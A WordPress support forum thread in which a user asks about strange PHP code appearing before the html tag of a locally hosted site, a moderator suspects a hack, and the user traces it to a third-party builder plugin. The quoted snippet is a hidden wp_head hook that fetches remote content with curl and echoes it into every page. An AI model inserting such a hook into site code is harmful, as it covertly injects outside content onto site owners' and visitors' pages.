Support » Fixing WordPress » Strange wp_head code appears in source code of html

  • Resolved saas


    Hi there,
    I have noticed some strange code appears in my html source code initial I ignored it and thought might be something I did and I will fix it later, now today when I went in there to fix, I can’t trace its origin.

    <?function wp__whead() {
      $ch = curl_init();
      curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']);
      $jquery = curl_exec($ch);
      echo "$jquery";
    add_action('wp_head', 'wp__whead');
    ?><!DOCTYPE html>

    I tried every possible combination of search (via my code editors), and found no trace where it is coming from.

    Could you guys help me? find what it is and why?

    strange thing is, its not echoing inside wp_head area, its flushing it before html tag (I don’t have any code which does something similar).

    Help me out of this irritating issue.


Viewing 5 replies - 1 through 5 (of 5 total)
  • Moderator Andrew Nevins


    Front-end developer

    Can you link the site with the issue? It looks like you’ve been hacked.

    Sorry, its my local server :), should have mentioned it, its my development system, I have been using this same instance for over I think 1.5 years now, and I have installed over 1000 plugins and dozens of themes for testing / reviewing etc over this period, but I searched through database as well but no instance. Not sure what caused this.

    Moderator Andrew Nevins


    Front-end developer

    Does the problem persists with all plugins deactivated & a clean install of Twenty Twelve?

    It only exist’s with my custom coded theme, but I can’t trace its source.

    Thanks for the input, I still didn’t found the culprit code, but I traced it to a third party visual builder plugin which I recently started learning and trying to integrate into my theme. Closing the thread.

    Thanks @andrewnevins for you input.

Viewing 5 replies - 1 through 5 (of 5 total)
  • The topic ‘Strange wp_head code appears in source code of html’ is closed to new replies.